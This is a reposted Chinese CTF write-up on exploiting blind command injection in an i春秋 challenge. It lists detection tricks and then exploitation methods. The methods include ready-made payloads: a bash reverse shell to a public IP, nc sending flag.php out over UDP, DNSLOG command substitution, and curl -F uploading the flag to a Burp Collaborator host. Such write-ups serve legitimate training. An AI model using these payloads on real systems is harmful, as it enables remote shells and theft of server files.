命令執行沒有回顯利用


來自:i春秋的一道命令執行題(EXEC)
自己之前沒有遇到過,根據師傅們發的博客,自己進行了總結。

1.判斷命令執行有沒有回顯

方法1.
根據代碼邏輯

方法2.
根據延時cmd=ls|sleep 5

方法3.
HTTP請求(ping命令不會產生http請求)
自己公網服務器使用nc -lp 8888來開起監聽
目標服務器cmd=curl ip:8888

方法4.
DNS請求(dnslog)

2.如何利用

方法1.
使用cp 命令cp flag.php 1.txt
然后訪問(該方法簡單,但是可能禁止使用cp命令)

方法2.
DNSLOG獲取回顯
cmd=curl `命令`.域名

方法3.
反彈shell
自己公網服務器nc -vv -lp 8888
目標服務器:cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1

方法4.
使用nc
自己公網服務器nc -ulp 8888
目標服務器:cmd=nc -u 47.94.35.59 8888 < flag.php
(要求目標服務器也有nc工具,-u參數調整為udp,當tcp不能使用的時候使用)

方法5.
curl上傳文件讀取源碼
該方法只需要有burpsuite就可以實現

原理:使用curl -F將flag文件上傳到Burp的Collaborator Client(Collaborator Client 類似DNSLOG,其功能要比DNSLOG強大,主要體現在可以查看POST請求包以及打Cookies)。

獲取Collaborator Client分配給BURP的鏈接:
Copy打開Burp主界面 -->菜單(Burp)-->Burp Collaboraor Client -- > 點擊 Copy to Clipboard

粘貼出來大概這樣:XXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net

目標服務器:cmd=curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

這里我使用exec的題來演示。

參考
https://blog.csdn.net/anquanniu/article/details/102641702?utm_source=app
http://www.admintony.com/無回顯代碼執行利用方法.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM